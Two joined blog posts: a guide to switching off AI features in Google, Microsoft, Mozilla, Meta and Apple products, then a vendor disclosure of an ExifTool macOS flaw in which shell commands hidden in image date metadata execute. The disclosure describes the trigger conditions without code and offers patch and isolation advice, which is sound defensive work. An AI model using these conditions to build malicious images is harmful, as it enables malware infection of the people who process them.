For those who want to sit out the AI storm and avoid these half-baked, rushed-to-market neural network assistants, we’ve put together a quick guide on how to kill the AI in popular apps and services.

How to disable AI in Google Docs, Gmail, and Google Workspace

Google’s AI assistant features in Mail and Docs are lumped together under the umbrella of “smart features”. In addition to the large language model, this includes various minor conveniences, like automatically adding meetings to your calendar when you receive an invite in Gmail. Unfortunately, it’s an all-or-nothing deal: you have to disable all of the “smart features” to get rid of the AI.

To do this, open Gmail, click the Settings (gear) icon, and then select See all settings. On the General tab, scroll down to Google Workspace smart features. Click Manage Workspace smart feature settings and toggle off two options: Smart features in Google Workspace and Smart features in other Google products. We also recommend unchecking the box next to Turn on smart features in Gmail, Chat, and Meet on the same general settings tab. You’ll need to restart your Google apps afterward (which usually happens automatically).

How to disable AI Overviews in Google Search

You can kill off AI Overviews in search results on both desktops and smartphones (including iPhones), and the fix is the same across the board. The simplest way to bypass the AI overview on a case-by-case basis is to append -ai to your search query — for example, how to make pizza -ai. Unfortunately, this method occasionally glitches, causing Google to abruptly claim it found absolutely nothing for your request.

If that happens, you can achieve the same result by switching the search results page to Web mode. To do this, select the Web filter immediately below the search bar — you’ll often find it tucked away under the More button.

A more radical solution is to jump ship to a different search engine entirely. For instance, DuckDuckGo not only tracks users less and shows little ads, but it also offers a dedicated AI-free search — just bookmark the search page at noai.duckduckgo.com.

How to disable AI features in Chrome

Chrome currently has two types of AI features baked in. The first communicates with Google’s servers and handles things like the smart assistant, an autonomous browsing AI agent, and smart search. The second handles locally more utility-based tasks, such as identifying phishing pages or grouping browser tabs. The first group of settings is labeled AI mode, while the second contains the term Gemini Nano.

To disable them, type chrome://flags into the address bar and hit Enter. You’ll see a list of system flags and a search bar; type “AI” into that search bar. This will filter the massive list down to about a dozen AI features (and a few other settings where those letters just happen to appear in a longer word). The second search term you’ll need in this window is “Gemini“.

After reviewing the options, you can disable the unwanted AI features — or just turn them all off — but the bare minimum should include:

• AI Mode Omnibox entrypoint
• AI Entrypoint Disabled on User Input
• Omnibox Allow AI Mode Matches
• Prompt API for Gemini Nano
• Prompt API for Gemini Nano with Multimodal Input

Set all of these to Disabled.

How to disable AI features in Firefox

While Firefox doesn’t have its own built-in chatbots and hasn’t (yet) tried to force upon users agent-based features, the browser does come equipped with smart-tab grouping, a sidebar for chatbots, and a few other perks. Generally, AI in Firefox is much less “in your face” than in Chrome or Edge. But if you still want to pull the plug, you’ve two ways to do it.

The first method is available in recent Firefox releases — starting with version 148, a dedicated AI Controls section appeared in the browser settings, though the controls are currently a bit sparse. You can use a single toggle to completely Block AI enhancements, shutting down AI features entirely. You can also specify whether you want to use On-device AI by downloading small local models (currently just for translations) and configure AI chatbot providers in sidebar, choosing between Anthropic Claude, ChatGPT, Copilot, Google Gemini, and Le Chat Mistral.

The second path — for older versions of Firefox — requires a trip into the hidden system settings. Type about:config into the address bar, hit Enter, and click the button to confirm that you accept the risk of poking around under the hood.

A massive list of settings will appear along with a search bar. Type “ML” to filter for settings related to machine learning.

To disable AI in Firefox, toggle the browser.ml.enabled setting to false. This should disable all AI features across the board, but community forums suggest this isn’t always enough to do the trick. For a scorched-earth approach, set the following parameters to false (or selectively keep only what you need):

• ml.chat.enabled
• ml.linkPreview.enabled
• ml.pageAssist.enabled
• ml.smartAssist.enabled
• ml.enabled
• ai.control.translations
• tabs.groups.smart.enabled
• urlbar.quicksuggest.mlEnabled

This will kill off chatbot integrations, AI-generated link descriptions, assistants and extensions, local translation of websites, tab grouping, and other AI-driven features.

How to disable AI features in Microsoft apps

Microsoft has managed to bake AI into almost every single one of its products, and turning it off is often no easy task — especially since the AI sometimes has a habit of resurrecting itself without your involvement.

How to disable AI features in Edge

Microsoft’s browser is packed with AI features, ranging from Copilot to automated search. To shut them down, follow the same logic as with Chrome: type edge://flags into the Edge address bar, hit Enter, then type “AI” or “Copilot” into the search box. From there, you can toggle off the unwanted AI features, such as:

• Enable Compose (AI-writing) on the web
• Edge Copilot Mode
• Edge History AI

Another way to ditch Copilot is to enter edge://settings/appearance/copilotAndSidebar into the address bar. Here, you can customize the look of the Copilot sidebar and tweak personalization options for results and notifications. Don’t forget to peek into the Copilot section under App-specific settings — you’ll find some additional controls tucked away there.

How to disable Microsoft Copilot

Microsoft Copilot comes in two flavors: as a component of Windows (Microsoft Copilot), and as part of the Office suite (Microsoft 365 Copilot). Their functions are similar, but you’ll have to disable one or both depending on exactly what the Redmond engineers decided to shove onto your machine.

The simplest thing you can do is just uninstall the app entirely. Right-click the Copilot entry in the Start menu and select Uninstall. If that option isn’t there, head over to your installed apps list (Start → Settings → Apps) and uninstall Copilot from there.

In certain builds of Windows 11, Copilot is baked directly into the OS, so a simple uninstall might not work. In that case, you can toggle it off via the settings: Start → Settings → Personalization → Taskbar → turn off Copilot.

If you ever have a change of heart, you can always reinstall Copilot from the Microsoft Store.

It’s worth noting that many users have complained about Copilot automatically reinstalling itself, so you might want to do a weekly check for a couple of months to make sure it hasn’t staged a comeback. For those who are comfortable tinkering with the System Registry (and understand the consequences), you can follow this detailed guide to prevent Copilot’s silent resurrection by disabling the SilentInstalledAppsEnabled flag and adding/enabling the TurnOffWindowsCopilot parameter.

How to disable Microsoft Recall

The Microsoft Recall feature, first introduced in 2024, works by constantly taking screenshots of your computer screen and having a neural network analyze them. All that extracted information is dumped into a database, which you can then search using an AI assistant. We’ve previously written in detail about the massive security risks Microsoft Recall poses.

Under pressure from cybersecurity experts, Microsoft was forced to push the launch of this feature from 2024 to 2025, significantly beefing up the protection of the stored data. However, the core of Recall remains the same: your computer still remembers your every move by constantly snapping screenshots and OCR-ing the content. And while the feature is no longer enabled by default, it’s absolutely worth checking to make sure it hasn’t been activated on your machine.

To check, head to the settings: Start → Settings → Privacy & Security → Recall & snapshots. Ensure the Save snapshots toggle is turned off, and click Delete snapshots to wipe any previously collected data, just in case.

You can also check out our detailed guide on how to disable and completely remove Microsoft Recall.

How to disable AI in Notepad and Windows context actions

AI has seeped into every corner of Windows, even into File Explorer and Notepad. You might even trigger AI features just by accidentally highlighting text in an app — a feature Microsoft calls “AI Actions”. To shut this down, head to Start → Settings → Privacy & Security → Click to Do.

Notepad has received its own special Copilot treatment, so you’ll need to disable AI there separately. Open the Notepad settings, find the AI features section, and toggle Copilot off.

Finally, Microsoft has even managed to bake Copilot into Paint. Unfortunately, as of right now, there is no official way to disable the AI features within the Paint app itself.

How to disable AI in WhatsApp

In several regions, WhatsApp users have started seeing typical AI additions like suggested replies, AI message summaries, and a brand-new Chat with Meta AI button. While Meta claims the first two features process data locally on your device and don’t ship your chats off to their servers, verifying that is no small feat. Luckily, turning them off is straightforward.

To disable Suggested Replies, go to Settings → Chats → Suggestions & smart replies and toggle off Suggested replies. You can also kill off AI Sticker suggestions in that same menu. As for the AI message summaries, those are managed in a different location: Settings → Notifications → AI message summaries.

How to disable AI on Android

Given the sheer variety of manufacturers and Android flavors, there’s no one-size-fits-all instruction manual for every single phone. Today, we’ll focus on killing off Google’s AI services — but if you’re using a device from Samsung, Xiaomi, or others, don’t forget to check your specific manufacturer’s AI settings. Just a heads-up: fully scrubbing every trace of AI might be a tall order — if it’s even possible at all.

In Google Messages, the AI features are tucked away in the settings: tap your account picture, select Messages settings, then Gemini in Messages, and toggle the assistant off.

Broadly speaking, the Gemini chatbot is a standalone app that you can uninstall by heading to your phone’s settings and selecting Apps. However, given Google’s master plan to replace the long-standing Google Assistant with Gemini, uninstalling it might become difficult — or even impossible — down the road.

If you can’t completely uninstall Gemini, head into the app to kill its features manually. Tap your profile icon, select Gemini Apps activity, and then choose Turn off or Turn off and delete activity. Next, tap the profile icon again and go to the Connected Apps setting (it may be hiding under the Personal Intelligence setting). From here, you should disable all the apps where you don’t want Gemini poking its nose in.

• For more on dealing with preloaded and system apps, check out our post, Delete the undeletable: how to disable and remove Android bloatware.

How to disable AI in macOS and iOS

Apple’s platform-level AI features, collectively known as Apple Intelligence, are refreshingly straightforward to disable. In your settings — on desktops, smartphones, and tablets alike — simply look for the section labeled Apple Intelligence & Siri. By the way, depending on your region and the language you’ve selected for your OS and Siri, Apple Intelligence might not even be available to you yet.

Other posts to help you tune the AI tools on your devices:

• Privacy settings in ChatGPT
• DeepSeek: configuring privacy and deploying a local version
• The pros and cons of AI-powered browsers
• Is a Gemini AI update about to kill privacy on your Android device?
• Should you disable Microsoft Recall in 2025?

Can a computer be infected with malware simply by processing a photo — particularly if that computer is a Mac, which many still believe (wrongly) to be inherently resistant to malware? As it turns out, the answer is yes — if you’re using a vulnerable version of ExifTool or one of the many apps built based on it. ExifTool is a ubiquitous open-source solution for reading, writing, and editing image metadata. It’s the go-to tool for photographers and digital archivists, and is widely used in data analytics, digital forensics, and investigative journalism.

Our GReAT experts discovered a critical vulnerability — tracked as CVE-2026-3102 — which is triggered during the processing of malicious image files containing embedded shell commands within their metadata. When a vulnerable version of ExifTool on macOS processes such a file, the command is executed. This allows a threat actor to perform unauthorized actions in the system, such as downloading and executing a payload from a remote server. In this post, we break down how this exploit works, provide actionable defense recommendations, and explain how to verify if your system is vulnerable.

What is ExifTool?

ExifTool is a free, open-source application addressing a niche but critical requirement: it extracts metadata from files, and enables the processing of both that data and the files themselves. Metadata is the information embedded within most modern file formats that describes or supplements the main content of a file. For instance, in a music track, metadata includes the artist’s name, song title, genre, release year, album cover art, and so on. For photographs, metadata typically consists of the date and time of a shot, GPS coordinates, ISO and shutter speed settings, and the camera make and model. Even office documents store metadata, such as the author’s name, total editing time, and the original creation date.

ExifTool is the industry leader in terms of the sheer volume of supported file formats, as well as the depth, accuracy, and versatility of its processing capabilities. Common use cases include:

• Adjusting dates if they’re incorrectly recorded in the source files
• Moving metadata between different file formats (from JPG to PNG and so on)
• Pulling preview thumbnails from professional RAW formats (such as 3FR, ARW, or CR3)
• Retrieving data from niche formats, including FLIR thermal imagery, LYTRO light-field photos, and DICOM medical imaging
• Renaming photo/video (etc.) files based on the time of actual shooting, and synchronizing the file creation time and date accordingly
• Embedding GPS coordinates into a file by syncing it with a separately stored GPS track log, or adding the name of the nearest populated area

The list goes on and on. ExifTool is available both as a standalone command-line application and an open-source library, meaning its code often runs under the hood of powerful, multi-purpose tools; examples include photo organization systems like Exif Photoworker and MetaScope, or image processing automation tools like ImageIngester. In large digital libraries, publishing houses, and image analytics firms, ExifTool is frequently used in automated mode, triggered by internal enterprise applications and custom scripts.

How CVE-2026-3102 works

To exploit this vulnerability, an attacker must craft an image file in a certain way. While the image itself can be anything, the exploit lies in the metadata — specifically the DateTimeOriginal field (date and time of creation), which must be recorded in an invalid format. In addition to the date and time, this field must contain malicious shell commands. Due to the specific way ExifTool handles data on macOS, these commands will execute only if two conditions are met:

• The application or library is running on macOS
• The -n (or –printConv) flag is enabled. This mode outputs machine-readable data without additional processing, as is. For example, in -n mode, camera orientation data is output simply, inexplicably, as “six”, whereas with additional processing, it becomes the more human-readable “Rotated 90 CW”. This “human-readability” prevents the vulnerability from being exploited

A rare but by no means fantastical scenario for a targeted attack would look like this: a forensics laboratory, a media editorial office, or a large organization that processes legal or medical documentation receives a digital document of interest. This can be a sensational photo or a legal claim — the bait depends on the victim’s line of work. All files entering the company undergo sorting and cataloging via a digital asset management (DAM) system. In large companies, this may be automated; individuals and small firms run the required software manually. In either case, the ExifTool library must be used under the hood of this software. When processing the date of the malicious photo, the computer where the processing occurs is infected with a Trojan or an infostealer, which is subsequently capable of stealing all valuable data stored on the attacked device. Meanwhile, the victim could easily notice nothing at all, as the attack leverages the image metadata while the picture itself may be harmless, entirely appropriate, and useful.

How to protect against the ExifTool vulnerability

GReAT researchers reported the vulnerability to the author of ExifTool, who promptly released version 13.50, which is not susceptible to CVE-2026-3102. Versions 13.49 and earlier must be updated to remediate the flaw.

It’s critical to ensure that all photo processing workflows are using the updated version. You should verify that all asset management platforms, photo organization apps, and any bulk image processing scripts running on Macs are calling ExifTool version 13.50 or later, and don’t contain an embedded older copy of the ExifTool library.

Naturally, ExifTool — like any software — may contain additional vulnerabilities of this class. To harden your defenses, we also recommend the following:

• Isolate the processing of untrusted files. Process images from questionable sources on a dedicated machine or within a virtual environment, strictly limiting its access to other computers, data storage, and network resources.
• Continuously track vulnerabilities along the software supply chain. Organizations that rely on open-source components in their workflows can use Open Source Software Threats Data Feed for tracking.

Finally, if you work with freelancers or self-employed contractors (or simply allow BYOD), only allow them to access your network if they have a comprehensive macOS security solution installed.

Still think macOS is safe? Then read about these Mac threats:

• Banshee: A stealer targeting macOS users
• Are Macs safe? Threats to macOS users
• Infostealer has entered the chat
• AirBorne: Attacks on Apple devices through vulnerabilities in AirPlay
• Hacking Android, macOS, iOS, and Linux through a Bluetooth vulnerability